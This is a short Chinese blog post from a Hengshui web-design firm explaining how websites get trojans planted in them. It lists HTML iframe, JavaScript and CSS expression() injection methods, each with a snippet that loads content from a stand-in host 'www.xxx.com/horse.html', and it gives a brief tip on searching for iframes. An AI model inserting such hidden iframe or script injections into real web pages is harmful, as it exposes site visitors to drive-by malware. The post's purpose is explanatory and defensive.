您好,欢迎来到衡水营丽网络! 24小时服务热线:138-3180-2765
您当前位置:衡水营丽文化传媒有限公司 >> 新闻中心

网站挂马跟癌症差不多

时间:2015-11-05 21:34:25     信息来源:     点击:1次

 

现在人们经常遇到一个很难辙底解决的一个问题,哪怕他是衡水网站建设高手估计也不好说,这个问题大家都会遇到过,我就直接说了吧,网站挂马,一担网站挂马就会影响到网站的排名,重的可以让你网站关闭,说白了网站挂马跟癌症差不多,一般有常见的以下几种:
1,挂马的N种方法
  (1) HTML挂马法。
  常规的HTML挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>。查看站点是否被挂,一般是查找一下关键词iframe。
  (2) 再隐藏一点的就是js挂马了。
  像再原来的网页中写入<script str=http://www.xxx.com/horse.js></script>,horse里的js写法一般为 document.write(’http:\/\/www.xxx.com\/horse.html’>;,或者专业一点的写法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n<inframe src=”http://www.xxx.com/horse.htm/”></iframe>’;。不过第2种写法要注意:是原来的网页种要有body标签。
  (3) 在 css中挂马。
  这个方法就是在css中写入:
  body {
hytop:expression(top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n<iframe src=”http://www.xxx.com/horse.html/”></iframe>’);
}
  然后在主页中调用这个CSS,代码类似 这样的。在csdn 中对expression的解释是:衡水网站建设IE5及其以后版本支持在CSS中使用expression,用来吧CSS属性和Javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。也就是说CSS属性后面可以是一段Javasccript表达式,CSS属性的值等于 Javascript表达式计算的结果。在表达式中可以是直接一用元素自身的属性和方法,也可以使用其它浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。整个解释关键点是expression可以在css中引入js语句,所以我们可用于挂马。不过写的语句值可以远程调用,本地不可以。

上一篇】   【下一篇